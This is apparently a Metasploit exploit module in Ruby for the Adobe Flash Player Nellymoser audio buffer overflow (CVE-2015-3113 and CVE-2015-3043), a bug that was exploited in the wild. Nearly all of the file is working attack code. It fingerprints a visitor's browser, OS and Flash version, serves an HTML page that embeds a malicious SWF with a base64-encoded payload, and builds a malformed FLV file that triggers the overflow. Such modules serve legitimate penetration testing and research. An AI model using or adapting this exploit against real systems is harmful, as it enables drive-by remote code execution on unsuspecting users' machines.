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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::BrowserExploitServer
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  def initialize(info={})
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    super(update_info(info,
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      'Name'                => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',
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      'Description'         => %q{
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        This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser
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        encoded audio inside a FLV video, as exploited in the wild on June 2015. This module
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        has been tested successfully on:
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        Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
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        Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
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        Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,
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        Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and
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        Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.
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        Note that this exploit is effective against both CVE-2015-3113 and the
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        earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression
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        to the same root cause as CVE-2015-3043.
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      },
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      'License'             => MSF_LICENSE,
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      'Author'              =>
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        [
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          'Unknown', # Exploit in the wild
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          'juan vazquez' # msf module
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        ],
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      'References'          =>
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        [
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          ['CVE', '2015-3043'],
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          ['CVE', '2015-3113'],
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          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
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          ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],
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          ['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],
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          ['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],
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          ['URL', 'http://bobao.360.cn/learning/detail/357.html']
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        ],
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      'Payload'             =>
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        {
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          'DisableNops' => true
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        },
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      'Platform'            => ['win', 'linux'],
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      'Arch'                => [ARCH_X86],
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      'BrowserRequirements' =>
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        {
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          :source  => /script|headers/i,
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          :arch    => ARCH_X86,
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          :os_name => lambda do |os|
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            os =~ OperatingSystems::Match::LINUX ||
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              os =~ OperatingSystems::Match::WINDOWS_7 ||
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              os =~ OperatingSystems::Match::WINDOWS_81
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          end,
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          :ua_name => lambda do |ua|
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            case target.name
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            when 'Windows'
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              return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
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            when 'Linux'
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              return true if ua == Msf::HttpClients::FF
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            end
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            false
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          end,
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          :flash   => lambda do |ver|
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            case target.name
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            when 'Windows'
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              return true if ver =~ /^18\./ && Rex::Version.new(ver) <= Rex::Version.new('18.0.0.161')
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              return true if ver =~ /^17\./ && Rex::Version.new(ver) != Rex::Version.new('17.0.0.169')
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            when 'Linux'
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              return true if ver =~ /^11\./ && Rex::Version.new(ver) <= Rex::Version.new('11.2.202.466') && Rex::Version.new(ver) != Rex::Version.new('11.2.202.457')
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            end
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            false
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          end
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        },
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      'Targets'             =>
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        [
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          [ 'Windows',
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            {
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              'Platform' => 'win'
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            }
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          ],
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          [ 'Linux',
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            {
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              'Platform' => 'linux'
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            }
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          ]
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        ],
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      'Privileged'          => false,
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      'DisclosureDate'      => '2015-06-23',
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      'DefaultTarget'       => 0))
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  end
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  def exploit
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    @swf = create_swf
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    @flv = create_flv
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    super
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  end
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  def on_request_exploit(cli, request, target_info)
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    print_status("Request: #{request.uri}")
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    if request.uri =~ /\.swf$/
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      print_status('Sending SWF...')
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      send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
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      return
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    end
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    if request.uri =~ /\.flv$/
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      print_status('Sending FLV...')
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      send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
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      return
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    end
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    print_status('Sending HTML...')
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    send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
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  end
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  def exploit_template(cli, target_info)
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    swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
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    target_payload = get_payload(cli, target_info)
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    b64_payload = Rex::Text.encode_base64(target_payload)
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    os_name = target_info[:os_name]
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    if target.name =~ /Windows/
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      platform_id = 'win'
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    elsif target.name =~ /Linux/
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      platform_id = 'linux'
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    end
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    html_template = %Q|<html>
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    <body>
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    <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
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    <param name="movie" value="<%=swf_random%>" />
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    <param name="allowScriptAccess" value="always" />
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    <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
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    <param name="Play" value="true" />
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    <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
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    </object>
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    </body>
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    </html>
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    |
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    return html_template, binding()
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  end
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  def create_swf
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    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')
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    swf =  ::File.open(path, 'rb') { |f| swf = f.read }
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    swf
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  end
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  def create_flv
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    header = ''
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    header << 'FLV' # signature
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    header << [1].pack('C') # version
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    header << [4].pack('C') # Flags: TypeFlagsAudio
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    header << [9].pack('N') # DataOffset
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    data = ''
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    data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0
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    data << "\xee" * 0x440 # SoundData
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    tag1 = ''
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    tag1 << [8].pack('C')  # TagType (audio)
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    tag1 << "\x00\x04\x41" # DataSize
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    tag1 << "\x00\x00\x1a" # TimeStamp
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    tag1 << [0].pack('C')  # TimeStampExtended
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    tag1 << "\x00\x00\x00" # StreamID, always 0
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    tag1 << data
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    body = ''
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    body << [0].pack('N') # PreviousTagSize
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    body << tag1
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    body << [0xeeeeeeee].pack('N') # PreviousTagSize
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    flv = ''
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    flv << header
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    flv << body
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    flv
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  end
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end
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